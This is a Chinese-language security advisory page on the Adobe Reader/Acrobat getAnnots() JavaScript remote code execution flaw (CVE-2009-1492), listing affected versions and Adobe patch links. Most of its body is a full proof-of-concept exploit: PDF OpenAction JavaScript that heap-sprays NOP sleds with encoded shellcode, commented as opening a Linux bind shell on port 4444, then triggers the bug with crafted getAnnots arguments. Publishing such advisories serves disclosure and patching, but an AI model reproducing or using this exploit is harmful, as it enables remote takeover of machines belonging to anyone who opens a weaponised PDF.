当前位置: 首页 > 服务与支持 > 产品升级公告 > 安全漏洞公告

服务与支持Support

Adobe Reader \'getAnnots()\' JavaScript函数远程代码执行漏洞

信息来源:Arr1val      发表日期:2013-06-01 14:24:00

Adobe Reader是非常流行的PDF文件阅读和编辑器。

Adobe Reader及Acrobat 9.1, 8.1.4, 7.1.1版本的JavaScript API内,getAnnots Doc方法允许远程攻击者通过包含注释的PDF文件,造成拒绝服务或执行任意代码。

 

BUGTRAQ-ID:34736

CVE-ID:2009-1492

受影响系统:

Adobe Acrobat 9.x

Adobe Acrobat 8.x

Adobe Acrobat 7.x

Adobe Reader

 

测试方法:

警  告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!/##############

//Exploit made by Arr1val

//Proved in adobe 9.1 and adobe 8.1.4 on linux

//

//Steps:

//- create a pdf with an annotation (a note) (i used an annotation with a very long AAAAA name, but that might be omitted)

//- attach the following script to the OpenAction of the pdf.

//##############

 

var memory;

function New_Script()

{

 

//if(adobe9)//adobe reader 8 works also with app.setTimeOut?

var startwith = app.alert('Hi');//required for adobe9

 

    var nop = unescape("%u9090%u9090"); //long nop will also force the address to go to 0x90909090 so 2 steps in one ;)

    var shellcode = unescape( "%uc92b%ue983%ud9eb%ud9ee%u2474%u5bf4%u7381%u1313%u2989%u8357%ufceb%uf4e2%u5222%u147a%ue340%u3d2b%ud175%udeb0%u44f2%uc1a9%udb50%u3f4f%ud502%u044f%u689a%u3143%ud94b%u0178%u689a%ud7e4%uefa3%ub4f8%u09de%u057b%uca45%ub6a0%uefa3%ud7e4%ue380%u0e2b%ub6a3%ud7e4%uf05a%ue7d0%udb18%u7841%ufa3c%u3f41%ueb3c%u3940%u6a9a%u047b%u689a%ud7e4"); //linux bind shell at port 4444

 

    while(nop.length <= 0x100000/2) nop+=nop;

    nop=nop.substring(0,0x100000/2 - shellcode.length);

 

    memory=new Array();

    for(i=0;i<0x6ff;i++)  //we should at least overwrite 0x90909090

    {memory[i]=nop + shellcode;}

 

//start exploit now

start();

 

function start()

{

    this.getAnnots(-134217728,-134217728,-134217728,-134217728);

}

 

}

解决办法:

厂商补丁:

Adobe

-----

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.adobe.com/support/security/

http://www.adobe.com/support/security/bulletins/apsb09-06.html